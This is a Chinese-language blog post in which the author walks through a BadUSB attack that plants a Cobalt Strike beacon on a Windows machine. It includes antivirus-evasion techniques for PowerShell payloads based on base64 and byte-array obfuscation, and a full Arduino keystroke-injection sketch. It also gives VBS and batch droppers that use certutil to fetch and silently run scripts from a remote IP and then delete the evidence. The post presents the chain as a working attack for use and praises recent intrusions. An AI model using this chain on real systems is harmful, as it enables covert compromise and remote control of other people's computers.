題記
今天我終於把規划已久的技術完成了,badusb買了1個多月了,我的快樂值是與我的技術提升正相關的。技術流程就是WIN+R >> CMD打開POWERSHELL >> POWERSHELL遠程執行CobaltStrike生成的PS1文件 >> 主機上線。哈哈哈哈哈哈,我就是個人才。這些天有關於美國系統被大規模入侵的新聞,真是強啊,黑客們。
工具:cs4.2,base64編碼網站,badusb,Arduino IDE,下載文件的網站。
查免殺狀況網站:https://www.virustotal.com/
前提知識(cmd遠程下載文件):
start powershell
$client = new-object System.Net.WebClient
$client.DownloadFile(' http://103.234.72.5/shellcode.exe',' E:\2.exe')
免殺方法一(把payload代碼轉碼)
1、cs生成ps1(選x64和不選生成的powershell代碼不一樣,選上有無變量,沒選有變量)
2、主要改[Byte[]]$var_code那一行
3、把FromBase64String直接改成byte數組。
在powershell.exe里面執行以下命令就能生成數組了。
$string = ''
$s = [Byte[]]$var_code = [System.Convert]::FromBase64String('【cs生成的shellcode】')
$s |foreach { $string = $string + $_.ToString()+','}
$string > c:\1.txt 或者$string 短的話直接查看即可。
4、把[Byte[]]$var_code替換掉(這個方式免殺差一點,但是能免殺火絨)
免殺方法二(把核心字符串全部base64加密后解密輸出)
1、生成一個ps1木馬。
2、把中間核心的字符串全部base64編碼。
3、在base64編碼后邊寫入還原語句就能繞過大部分殺軟了。
解密后變量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后變量))
變量名記得后邊也改掉。
4、執行powershell -ExecutionPolicy bypass -File C:\\POWERSHELL.PS1機器上線。
免殺方法進階(完美版)(base64加密后分段賦值后解密輸出)
接上面的免殺之后進階版,把base64編碼后的字符拆開然后在后面以變量和在一起。
可以看到免殺效果是極好的。
Badusb實現后台靜默執行上線CobaltStrike
實現以VBS文件形式遠程下載並執行CobaltStrike生成的PS1文件,來達到后台靜默執行的目的。注:taskmgr.exe快速打開任務管理器,從此告別了ctrl+alt+.了
效果(點擊下方空白地方跳轉flash頁面查看上線預覽圖,博客園不支持插入視頻):
1、首先用kali創建一個網站。把要利用的文件全放在網站根目錄下,好讓目標主機下載運行。
apt-get install apache2
/var/www/html
service apache2 start
2、badusb制作
首先下載arduino IDE,這個軟件屬於微軟,可以免費下載。
在工具里面選擇:
開發板選擇:Arduino Leonardo
端口選擇:com5(Arduino Leonardo)
POWERSHELL.ino(arduino燒錄文件) #include <Keyboard.h> void setup() { // putpower shell your setup code here, to run once Keyboard.begin();//開始鍵盤通訊 delay(1000);//延時 Keyboard.press(KEY_LEFT_GUI);//win鍵 delay(200); Keyboard.press('r');//r鍵 delay(200); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK);//利用開大寫輸小寫繞過輸入法 Keyboard.release(KEY_CAPS_LOCK); delay(300); Keyboard.println("cmd /q /c mode con:COLS=15 LINES=1 && certutil -urlcache -split -f http://103.234.72.5/run.vbs d:\\run.vbs && timeout /t 1 && start /B d:\\run.vbs" ); //無回顯 //Keyboard.println("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\""); //有回顯 Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//結束鍵盤通訊 } void loop() { // put your main code here, to run repeatedly: }
解釋:WIN+R打開運行窗口,通過打開CMD下載RUN.VBS,落地到D盤根目錄后CMD關閉,並靜默執行RUN.VBS
點擊對勾編譯文件,右符號上傳到badusb。
3、落地文件
RUN.VBS set ws=WScript.CreateObject("WScript.Shell") ws.Run "cmd /c certutil -urlcache -split -f http://0.0.0.0:8888/POWERSHELL.BAT d:\\POWERSHELL.BAT && start /B d:\\POWERSHELL.BAT",0
解釋:
通過certutil命令遠程下載POWERSHELL.BAT,落地到D盤根目錄
靜默執行POWERSHELL.BAT
POWERSHELL.BAT @echo off certutil -urlcache -split -f http://0.0.0.0:8888/POWERSHELL.PS1 d:\\POWERSHELL.PS1 TIMEOUT /T 1 start /B powershell.exe -executionpolicy bypass -file d:\\POWERSHELL.PS1 del D:\R*.VBS /f /s /qTIMEOUT /T 1 del D:\P*.PS1 /f /s /qdel D:\P*.BAT /f /s /q exit
解釋:
通過certutil命令下載POWERSHELL.PS1,落地到D盤根目錄
考慮網絡問題,下載POWERSHELL.PS1需要時間(測試的時候出現了執行速度太快,導致沒下載完就直接執行了下一步),所以延時一秒
通過powershell后台靜默執行POWERSHELL.PS1,至此CS上線
上線后立即刪除R開頭VBS文件
延時一秒(測試出現powershell執行速度太慢,沒上線)
依次刪除P開頭PS1文件、P開頭BAT文件
把這三個文件上傳到網站,badusb一插入機器就上線了。
參考文章
感謝大神們的文章,受益匪淺。
Badusb上線:https://mp.weixin.qq.com/s/pH9hcKGQHIRMxU3uDN3JUw
Ps1介紹與免殺:https://www.cnblogs.com/forforever/p/13882312.html
https://www.freebuf.com/articles/system/227467.html
https://mp.weixin.qq.com/s/T9lCDVO1dSiugGcMwL5prg